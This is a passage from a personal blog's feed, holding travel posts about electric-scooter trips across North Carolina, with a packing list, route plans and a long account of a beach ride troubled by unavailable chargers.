&lt;p&gt;Once I realized my mistake, reaching the correct destination took me another 15 minutes. Once plugged in, I punched up Starbucks on Google Maps and began walking. It turned out to be the wrong Starbucks, as multiple of them existed at the same intersection. My friend was, in fact, at a 3rd Starbucks elsewhere. The heat was killing me, so I wasn&#39;t going anywhere, and I forced my friend to meet me wherever the fuck I actually was.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/iso-native-lands-day-1-chapel-hill-rutherfordton/j7e8fBKp.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Hanging out with friends was great but it also forced me into Charlotte rush hour. Not commuting by anything but bicycle or a metro train for the last 13 years, I forgot that rush hour was a thing. The BMW Connected app helpfully routed me in front of Charlotte&#39;s largest stadium, where folks were lining up for a country music show. The traffic was traumatic in the heat, and a lack of clarification on when and where filtering was allowed had me join in with what the cars were doing. Not being a US citizen, I try my best not to challenge local conventions.&lt;/p&gt;
&lt;p&gt;On the way out, I noted the Iswa Nature Preserve on the way out, named after the Catawba tribe of Native Americans who used to live along the nearby river.&lt;/p&gt;
&lt;h3&gt;Charming Cherryville&lt;/h3&gt;
&lt;p&gt;The Nav system recommended routing through Cherryville instead of riding through Shelby, so I rode up 274 to do so. The roads were lightly twisty with a light flow to them. As I was within a few hundred feet of a charger, I stopped by for a quick top-off as an insurance policy and an excuse to explore the town. In the parking lot, the welcome committee vehicle awaited me:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/iso-native-lands-day-1-chapel-hill-rutherfordton/wL6UmRlB.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The town looked cute, but nothing seemed open, even on a Friday evening. I was in and out of there within 10 minutes.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/iso-native-lands-day-1-chapel-hill-rutherfordton/XkfBrm5E.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Rutherfordton: the unpronounceable town&lt;/h3&gt;
&lt;p&gt;When the GPS announced the name &amp;quot;Rutherfordton&amp;quot;, it sounded like &amp;quot;Rufton,&amp;quot; so I asked a local. She said, &amp;quot;No, that&#39;s not it. It&#39;s Rufton&amp;quot;. It sounded the same to my ears, but perhaps some subtle garbled half-hearted syllables were added in for good measure. Regardless, Rutherfordton was where the &lt;a href=&quot;https://carrierhouses.com/&quot;&gt;Carrier House B&amp;amp;B&lt;/a&gt; was and my final destination for the day. I didn&#39;t arrive there until 7:50 pm.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/iso-native-lands-day-1-chapel-hill-rutherfordton/Sbllg36A.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I got to talk at length with the proprietors, who offered to let me park the CE-04 in their garage so that it could be charged overnight. They also pointed me to the Copper Penny Grill, which had a fantastic glazed salmon dish and a great beer selection.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/iso-native-lands-day-1-chapel-hill-rutherfordton/0lf0F8xF.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;After dinner, I fell asleep quickly. It&#39;d been 14 hours since I had left my driveway, with 260 miles traveled. At least 4 hours were spent charging, but instead of waiting, I wandered around with a camera in hand.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/iso-native-lands-day-1-chapel-hill-rutherfordton/cRG9dZg2.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Tomorrow the twisties await.&lt;/p&gt;
</content>
  </entry><entry>
    <title>In Search of Native Lands: Preparation</title>
    <link href="https://choosehappy.dev/posts/2023/in-search-of-native-lands-preparation/"/>
    <updated>2023-07-13T00:00:00Z</updated>
    <id>https://choosehappy.dev/posts/2023/in-search-of-native-lands-preparation/</id>
    <content xml:lang="en" type="html">&lt;p&gt;Today I packed up the &lt;a href=&quot;https://www.bmwmotorcycles.com/en/models/urban_mobility/ce04.html&quot;&gt;BMW CE-04&lt;/a&gt; and did a range test to see how far I could get on North Carolina rural highways with everything: 62 miles, just as expected. What I packed is a bit different than what I would have packed had I been doing a ride on my GS&#39;s of yore:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/in-search-of-native-lands-preparation/53wlHiTU.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;!--more--&gt;
&lt;p&gt;Here&#39;s what I&#39;ve packed:&lt;/p&gt;
&lt;p&gt;- Emergency charging gear: J1772 cable, Jackery 1000 Power bank, adapters (TT30, 30A, 50A, Tesla), charger for Jackery
- Clothes: 2 shirts, 3 socks (1 waterproof), rain jacket, rain pants
- Tools: MotoPumps AirShot, Dynaplug Xtreme, Allen key set, Torx set, Headlamp, multi-tool
- Self-care: water bottle, snacks, toothbrush, deodorant, eye mask, first-aid kit, Garmin Messenger (Satellite tracker)
- Entertainment: MacBook Air, Fuji X100V, Kindle, USB cables&lt;/p&gt;
&lt;p&gt;Believe it or not, this all fits without needing to bring along an ugly top case:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/in-search-of-native-lands-preparation/VLYGwnD3.jpg&quot; alt=&quot;&quot; /&gt;
I did take the test ride as an opportunity to test the &amp;quot;Electric Jerry Can&amp;quot;, and it ran fine at 10A. This is my homemade range extender for EVs, built out of a Jackery 1000 battery bank with a ground-free EVSE cable. It’s good for an extra 9% of range should I run into a disabled charger or make a terrible miscalculation:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/in-search-of-native-lands-preparation/HF5qCF4G.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Kickstands up at 5am tomorrow.&lt;/p&gt;
</content>
  </entry><entry>
    <title>In Search of Native Lands: Intro</title>
    <link href="https://choosehappy.dev/posts/2023/in-search-of-native-lands-intro/"/>
    <updated>2023-07-12T00:00:00Z</updated>
    <id>https://choosehappy.dev/posts/2023/in-search-of-native-lands-intro/</id>
    <content xml:lang="en" type="html">&lt;p&gt;In 42 hours’ time, I&#39;m embarking on a 3-day journey through the center of North Carolina, focusing on places that were important to the Native Americans of this area:
&lt;img src=&quot;https://choosehappy.dev/posts/2023/in-search-of-native-lands-intro/1srrKZIG.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;My weapon of choice is the BMW CE-04 - an electric two-wheeler, which is why you see charging stops scattered around every 45-60 miles:&lt;/p&gt;
&lt;!--more--&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/in-search-of-native-lands-intro/mSQ0HCWT.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The charging stops have been strategically placed in towns I&#39;d like to explore by foot, so expect to see a lot of small-town action. The route is flexible, but planned stops include:&lt;/p&gt;
&lt;p&gt;- Town Creek Indian Mound
- Hardaway Site
- Morrow Mountain
- Charlotte
- Rutherfordton (overnight)
- Lake Lure
- Chimney Rock
- Little Switzerland
- Catawba Meadows
- Joara Site
- Lenoir
- Hickory (overnight)
- Trading Ford
- Sapona Town Site
- Salisbury
- Lexington
- Kewaunee Site
- Asheboro&lt;/p&gt;
&lt;p&gt;All said and done, the trip should clock in at around 575 miles. My biggest fear for this trip is hitting a deer during one of my early morning departures. The thing I&#39;m most excited about so far is Little Switzerland, just because it&#39;s one of the few areas of this state that I have yet to visit.&lt;/p&gt;
</content>
  </entry><entry>
    <title>Piggly Wiggly saves the Electric Coastal Raid</title>
    <link href="https://choosehappy.dev/posts/2023/piggly-wiggly-saves-the-electric-coastal-raid/"/>
    <updated>2023-06-23T00:00:00Z</updated>
    <id>https://choosehappy.dev/posts/2023/piggly-wiggly-saves-the-electric-coastal-raid/</id>
    <content xml:lang="en" type="html">&lt;p&gt;The birthrights of humankind are that of unexplored limits and undiscovered territories. The aim of my trip last weekend was to find a bit of both.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/piggly-wiggly-saves-the-electric-coastal-raid/7vuQcwhb.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;!--more--&gt;
&lt;p&gt;In the USA, my steed is exotic and likely unfamiliar to most readers: the &lt;a href=&quot;https://www.bmwmotorcycles.com/en/models/urban_mobility/ce04.html&quot;&gt;BMW CE-04&lt;/a&gt;. It&#39;s an electric scooter with an 8.5 kWh battery, good for about 60 miles of range on country roads. It&#39;ll comfortably hit 80 mph – but not without a severe impact on its range. This beemer is a true city slicker and, like the Ivory Billed Woodpecker, is rarely found in the South-Eastern United States.&lt;/p&gt;
&lt;p&gt;My goal is simple: learn how far this scoot can reasonably travel in a day. The nearest beach is a 333-mile round-trip avoiding highways, so I figure that should be a good benchmark to use. This was my plan:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/piggly-wiggly-saves-the-electric-coastal-raid/MCQQEMtU.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Did I mention that this bike requires an hour of charging for every hour of riding you put in?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The Crack of Fucking Dawn&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;I scarf down a bowl of yogurt with some granola and head out to the gravel driveway to hop on my electric steed. Somehow, I&#39;ve made it this far, and it&#39;s only 5:01 am. I&#39;m so excited about this ride that coffee doesn&#39;t even cross my mind.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/piggly-wiggly-saves-the-electric-coastal-raid/sFSsCLsZ.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I turn on the ignition, and the BMW CE-04 roars to life, or not.. as there are absolutely no moving parts to engage until you pull on the throttle of this electric-motor belt-driven battery-laden spaceship. The BMW Navigation software cheerily announces that I should arrive by 8:45 am, but sadly, it is unaware of the need to make charging stops.&lt;/p&gt;
&lt;p&gt;This is the earliest I&#39;ve left my house for anything but a group bicycle ride, and the cool weather feels nice against my vented jacket, gloves, and boots. As I wait for a traffic light on the campus of UNC-Chapel Hill (America&#39;s Oldest Public University), I see a Gray Fox playfully dancing up and down the street, likely attempting to catch a small rodent that I&#39;m unable to see in the pitch fucking black.&lt;/p&gt;
&lt;p&gt;The first 15 miles of this ride travel through suburban areas (Chapel Hill, Cary, Morrisville, Apex) should know quite well, having lived among them for about 8 years. Winding through the ethereal darkness at 5 am, nothing seems familiar.&lt;/p&gt;
&lt;p&gt;Daylight breaks as I cross through Holly Springs, seeing a dot on my map that must mean a charging stop, but I realize I&#39;m saving it for the way back. Instead, we&#39;re heading a few miles more to Fuquay Varina. I always assumed this town had a corrupt Native American name, but it resulted from a merger of two towns in the 1960s named after two different immigrants: Fuquay and Varina.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/piggly-wiggly-saves-the-electric-coastal-raid/f2ehT5xm.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I like to explore new charging spots when I can, so I first try a charger at City Hall, but it&#39;s apparently blocked by a big red gate outside office hours. I updated its entry at PlugShare.com and moved on to the proper charger at the public lot two blocks away. I arrive with 49% battery left (14% more than ABRP&#39;s pessimistic calculation), walk around, visit the local historic park, and grab a book at the little library: &lt;a href=&quot;https://www.goodreads.com/en/book/show/18144590&quot;&gt;&amp;quot;The Alchemist&amp;quot; by  Paulo Coelho.&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/piggly-wiggly-saves-the-electric-coastal-raid/taZQabY0.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Technically I don&#39;t even need to stop in Fuquay, but I prefer to always have enough juice that I don&#39;t get stranded in case the only charger in a town isn&#39;t available (that&#39;ll come into play later in this story). After 29 minutes of wandering around, I pull the bike off the charger at 77% and head onward.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Dunn Dah Dunn Dunn&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/piggly-wiggly-saves-the-electric-coastal-raid/2uNxqTQ6.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Leaving Fuquay-Varina, wooded suburbia quickly transforms into a quiet pastoral landscape where you can see for miles. Riding along NC Highway 55, I pass through Angier and then Coats, where I find a Cotton Museum that I should drag my mom to the next time she visits.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/piggly-wiggly-saves-the-electric-coastal-raid/5a0j9gkd.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Like most EV charging stations, the only charger in Dunn is well-hidden enough to make any Geocacher or ADVrider Tag player excited: it&#39;s in an unmarked parking lot, hidden between two dumpsters.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/piggly-wiggly-saves-the-electric-coastal-raid/TgWAznNj.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I drop by Sherry&#39;s Bakery &amp;amp; Diner for a breakfast and coffee stop, read some of my book, and then wander around a bit, checking out the wares at the farmers market. After 45 minutes, the CE-04 is at a 97% charge, so I grab one last swig of water from my water bottle and saddle up for a ride to Clinton, NC.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&amp;quot;If you live long enough, you&#39;ll make mistakes.&amp;quot;&lt;/strong&gt;
- Bill Clinton&lt;/p&gt;
&lt;p&gt;The dull straight highways are killing my vibe, so I change the routing preference in BMW&#39;s navigation software from &amp;quot;Efficient&amp;quot; to &amp;quot;Winding&amp;quot;, setting the dial down to 50% so the algorithm doesn&#39;t add unnecessary goose chases along the way.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/piggly-wiggly-saves-the-electric-coastal-raid/WEgCQ7g2.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;It totally works: this turned out to be my favorite stretch of the ride: dilapidated barns, rough roads, smelly hog farms, loose cows, and curves. The sky is hazy from the smoke of distant wildfires.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/piggly-wiggly-saves-the-electric-coastal-raid/tRGGLWcg.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The loose bull did freak me out a bit - while I&#39;ve hung out with cows on a farm, I&#39;ve never been stared down by one on the road. He stared intently at me the entire time as I gave it as wide of a berth as possible without going offroad.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/piggly-wiggly-saves-the-electric-coastal-raid/MMHFiS6F.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Not long afterward, I spy a dip in the pavement, and as I am about to hit it, I spy orange tape alongside it. THWACK! My shocks bottom out, causing the scoot to bounce violently though without any loss of control. That&#39;s only the 3rd time in 3,300 miles of riding this bike that it&#39;s happened to me. I think to myself, &amp;quot;I hope those Skenes didn&#39;t fall off,&amp;quot; and move on, wishing for a brief moment that I still had that GS, until I get to a stop sign and again feel the rush of the instant torque electric motor.&lt;/p&gt;
&lt;p&gt;While making trip plans the other night, I found an &lt;a href=&quot;https://driver.chargepoint.com/stations/12974851&quot;&gt;unreviewed charger listed at Deacon Jones Toyota &lt;/a&gt;that wasn&#39;t listed elsewhere. It&#39;s along the way and has a higher kilowatt rating than the other charger I had in my plans, so I circle around the parking lot to confirm its existence and find nothing. I suspect it was inside the service area, but I have never seen that before.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/piggly-wiggly-saves-the-electric-coastal-raid/gzoR0vB1.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Not feeling dejected, I head on to Nissan of Clinton, where I arrive with 28% state-of-charge and find that this charger is now under lock &amp;amp; key. I look back at the reviews on PlugShare, and see that the last review had noted, &amp;quot;It looked like the power was turned off.&amp;quot;. This kind of comment usually means you need to hit a reset button or flip a power switch, so I thought nothing of it.&lt;/p&gt;
&lt;p&gt;I walk back toward my bike and audibly scream &amp;quot;FUUCCCKKKK&amp;quot; into my helmet: not because of the lockout, but because I realize that my 3rd backup charging was no longer available. The bag I had attached to the back of the bike containing an emergency J1772 EV charger cable was no longer there. The ROK straps dangled impotently, still clipped as if nothing had happened. Thinking back, I recall playing a little fast and loose with the straps when I squeezed the water bottle back into the bag in Dunn.&lt;/p&gt;
&lt;p&gt;A lovely employee at the dealership, Ryan, walks by, gawks at the bike for a moment, and asks if it&#39;s an electric bike. I confirm and then ask if it&#39;s possible to reactivate the charger. He calls up the GM, who drops by looking a bit grumpy and confirms that this charger is no longer available. He was sick of people coming by for a free charge, so they disabled this charger when they installed the new one for their use only. He doesn&#39;t seem to be an EV guy, so I don&#39;t get into the whole AC vs DC issue. He directs me to a new charger recently installed by Duke Energy a couple of miles away.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/piggly-wiggly-saves-the-electric-coastal-raid/xmW2srQZ.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Ryan shows off Nissan&#39;s latest electric car, the &lt;a href=&quot;https://www.nissanusa.com/vehicles/electric-cars/ariya.html&quot;&gt;Ariya&lt;/a&gt;, before I head to the new charger. I&#39;ve got 22 miles of range, so I&#39;m not worried. I recalled that Ryan was good enough to suggest that I double-check the charger before going out of my way to it, so I pulled over after a mile and did so: it was a good call, as this new charger is also DC, and the BMW CE-04 is only compatible with the slower and cheaper AC-based chargers.&lt;/p&gt;
&lt;p&gt;With 3 charging options out of the picture, I researched other charging options within 20 miles and found a charger listed at the Piggly Wiggly in Warsaw, about 14 miles from here. I&#39;m extremely concerned at the prospect of running out of charge, so I baby the throttle and ride just below the speed limit on Highway 24. The local truckers behind me are not amused with my life choices, honking at me when I pull out to let them pass.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Saved by the Piggly Wiggly&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Unlike other EV charging spots, you can spot a Piggly Wiggly from a mile away. About a year ago, Piggly Wiggly started adding EV chargers to their grocery stores and accidentally built the most robust EV charging corridor in the southern part of the state.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/piggly-wiggly-saves-the-electric-coastal-raid/GrAbvsMU.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I arrive at the charger with 11% charge left - low enough that if it&#39;s broken, my backup plan is either a tow truck or asking my wife to drive 2 hours to rescue me. While this charger requires the Shell Recharge app, so did the one in Fuquay, so it was easy to get started.&lt;/p&gt;
&lt;p&gt;With my water bottle missing and a need to urinate, I head into this monument of the modern supply chain and look for a restroom. I can&#39;t find one so I head across the street to the gas station, where I deposit liquid and purchase its replacement.&lt;/p&gt;
&lt;p&gt;Like most towns that spring up suddenly in response to a railway or highway - Warsaw doesn&#39;t have much of a downtown. It does have some neat old buildings, though, for instance, this house that is now the &lt;a href=&quot;https://www.visitnc.com/listing/yztB/duplin-county-veterans-museum&quot;&gt;Duplin County Veterans Museum&lt;/a&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/piggly-wiggly-saves-the-electric-coastal-raid/5mRL3gb1.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Warsaw also boasts an unusually high police presence: more akin to Beijing or Cary than any town of 2700 denizens ought to be. Two officers and two different sets of locals ask naive questions about the bike. One of the locals remarked, &amp;quot;I can tell you ain&#39;t from around here. No one here has weird things&amp;quot;. Everyone is shocked at the $14k sticker price and 80mph top speed but similarly disappointed by the 60-mile range.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Wallace &amp;amp; The Winery of the South&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;My riding plan is wholly shot at this point; with no feasible way to ride US-421 south to Burgaw due to a lack of working EV chargers along the way, I head directly toward Wallace via Hwy 117.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/piggly-wiggly-saves-the-electric-coastal-raid/uewuwwM9.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I soon make it to Rose Hill, where I spy my favorite winery in the Southeast: Duplin, which specializes in muscadine-based sweet wines. Don&#39;t come here expecting fancy, though. Duplin makes the sort of wine you break out at a BBQ beach party rather than a wedding. Most of it is too sweet for words, but as a card-carrying member of their wine club, I can assure you that their  Mothervine Wine is divine.&lt;/p&gt;
&lt;p&gt;I&#39;m already running behind schedule due to the Clinton charging debacle, so I don&#39;t bother to drop in, and instead make my way along the railroad tracks to the next Piggly Wiggly in Wallace.&lt;/p&gt;
&lt;p&gt;There isn&#39;t much to write about Wallace, so I won&#39;t.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Out in the country, but the blueberry still connect&lt;/strong&gt;
- Jay Z (sorta)&lt;/p&gt;
&lt;p&gt;I continue pushing the scoot further down the line and find myself surrounded by cyclists on a group ride. June is typically when I would be doing 500-mile bicycle rides across California, so the sight makes me a little homesick.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/piggly-wiggly-saves-the-electric-coastal-raid/cYYVz3Vi.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Before buying this scoot, cycling was the main way I got around. I don&#39;t feel as safe as a human-powered vehicle in North Carolina due to the lack of inclusive traffic engineering practices, so I bought a scooter. Somehow the scoot feels safer, but deep down inside, I know that cyclists live longer lives due to their healthier lifestyle, even if they are more vulnerable on the road.&lt;/p&gt;
&lt;p&gt;My final charger before the beach is in Burgaw. Signs along the way inform me that Burgaw is the home of the &lt;a href=&quot;http://ncblueberryfestival.com/&quot;&gt;North Carolina Blueberry Festival&lt;/a&gt;, which sounds like a riot. This weekend, of all weekends, is that festival, and my charger is in the middle of its parking area.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/piggly-wiggly-saves-the-electric-coastal-raid/5LIHYY9y.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I&#39;m a patient guy, so I don&#39;t mind the slow traffic, even if I&#39;m baking in my Klim gear. I arrive at the Piggly Wiggly with 33% battery life, park in its dedicated EV spots, and plug the bike in.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/piggly-wiggly-saves-the-electric-coastal-raid/vjINAXsW.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Unlike most chargers, Shell Recharge stations require you to scan in a QR code or type in a station ID. I try the QR method, and the Shell Recharge app reports &amp;quot;No Stations Found&amp;quot;. What in the actual fuck? I try typing it in and try the other port and run into the same problem. I try using other functions in the Shell app and see what seems to be connectivity errors. I spot a Verizon mobile cellular tower truck at the other end of the parking lot and make the connection to what&#39;s going wrong: the NC Blueberry Festival is so jam-packed with cellphone users that T-Mobile doesn&#39;t have the bandwidth to make outgoing connections.&lt;/p&gt;
&lt;p&gt;The Shell Recharge app apparently requires a working data connection on your cellphone. After pissing in the store&#39;s restrooms, I decide that I will make this work instead of going across town to another charger. The plan was to find an open WiFi network somewhere in town, start the charge there, and then walk to my bike.&lt;/p&gt;
&lt;p&gt;I&#39;ll cut the story short here, but that little maneuver cost me 30 minutes.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Wrightsville Beach&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;If getting out of Burgaw was like wandering through a morass, than riding through Wrightsville Beach was like entering a minefield blindfolded. I acknowledge that I am traffic, but the road engineers here should be shot, have their fingernails plucked out by a sugar-fueled toddler, and then quartered.&lt;/p&gt;
&lt;p&gt;I am glad that the Town placed its chargers a 20-minute walk from the beach because that&#39;s about as much as I was willing to suffer on the road anyways. The charger here was particularly busy, likely because every other parking space for miles around was already taken by fellow beach-goers.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/piggly-wiggly-saves-the-electric-coastal-raid/6DkplLhE.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;By this point, I&#39;m thirsty as fuck, and I head toward the restrooms hoping to find a water fountain. The only option was a water bottle filler; mine was lost a few hours back. I see a discarded disposable water bottle on the ground with a cap, grab it, and fill it up, hoping the previous user didn&#39;t have Herpes or some other communicable disease.&lt;/p&gt;
&lt;p&gt;I then walk to the beach, absolutely baking in my Klim Marrakesh pants. In retrospect, I should have changed into my swim trunks, but my brain kept telling me: &amp;quot;You are already two hours late, ain&#39;t nobody got time for a swim&amp;quot;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/piggly-wiggly-saves-the-electric-coastal-raid/1lOvoNZT.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The beach was absolutely jam-packed - I grabbed a selfie, returned to the bike, and left Wrightsville Beach. I had planned on charging the scoot to 97%, but not wanting to further tie up the last parking spot, I decided to head out and top off at the Cape Fear Community College North Campus.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Going Backwards to Go Forwards&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The community college has something going for it that Wrightsville Beach had little of: shade. I pull into the lot with a 69% charge, grab a book, and duck under a tree for a few minutes. I knew after this, I was going to have to head back on the same route that I came in on, which is generally against my own rules, but the only alternatives are going to cost me an extra 30 minutes, which isn&#39;t ideal as I&#39;m already two hours late.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/piggly-wiggly-saves-the-electric-coastal-raid/8w6knPYu.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;After 15 minutes, I&#39;m back up to 89% and ready to head back to Rose Hill. I missed the World&#39;s Largest Frying Pan on the way down, so I&#39;m happy to be back here to bathe in its awesome power:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/piggly-wiggly-saves-the-electric-coastal-raid/tRV2BdFh.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The frying pan is, in fact, quite large, but it is also weird looking and underwhelming. I stop by the nearby charger run by the local power coop, where I stumble into some people charging an EV for the first time. They are confused as to why the Chevy Bolt EV they are borrowing is charging so slowly. I explain the AC vs DC difference, directing them to a faster DC station 4 miles away. I ruminate on how complicated EV charging is, even compared to the diesel vs leaded vs unleaded vs ethanol-free fuel arguments, and then read more of my book.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/piggly-wiggly-saves-the-electric-coastal-raid/Z6XXyC97.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Knowing that charging alternatives become limited after this point, I make the call to top off at the Warsaw Piggly Wiggly again 15 miles north of here, just in case my planned stop in Newton Grove is a bust.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Refueling at Smithfields Chicken &#39;N BBQ&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;As I head north, I&#39;m keenly aware that it&#39;s becoming prime deer hour. As I see one dash across the highway 300 yards ahead of me, I patiently await others to join in, but nothing other than a stray hawk or owl crosses my path again.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/piggly-wiggly-saves-the-electric-coastal-raid/z5w7SMga.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Similar to Piggly Wiggly, the restaurant chain &lt;a href=&quot;https://www.scnbnc.com/&quot;&gt;Smithfields Chicken &#39;N BBQ&lt;/a&gt; has also chosen to become a critical partner in North Carolina&#39;s EV infrastructure. Their chargers use a Tesla-specific plug (now known as &amp;quot;&lt;a href=&quot;https://www.tesla.com/blog/opening-north-american-charging-standard&quot;&gt;NACS&lt;/a&gt;&amp;quot;), but I keep a &lt;a href=&quot;https://www.umc-j1772.com/index.php?route=product/product&amp;amp;product_id=146&quot;&gt;TeslaTap min&lt;/a&gt;i J1772 adapter stowed away so that I&#39;m able to charge here as well.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/piggly-wiggly-saves-the-electric-coastal-raid/mLztPCyH.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This adapter does not suddenly make Tesla Superchargers work with the CE-04, as they are the faster DC standard. It&#39;d be nice if it did, as they charge 35X faster than I can over AC.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/piggly-wiggly-saves-the-electric-coastal-raid/6V3v5Ago.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I haven&#39;t had a proper meal all day, so even as a pescatarian, Smithfield&#39;s BBQ sandwich is just the thing for me today. Out of necessity, I&#39;ve had to become more of a flexitarian than a pescatarian since moving back to NC a year ago.&lt;/p&gt;
&lt;p&gt;I take my time: eating, reading, and relaxing for 53 minutes until the bike is up to 96% - more than enough to make it to Holly Springs without range anxiety. Like a cellphone, the closer you get to 100%, the slower it charges, which is why I part of why I opt for shorter stops more often.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Stabbing Westward&lt;/strong&gt;&lt;/p&gt;
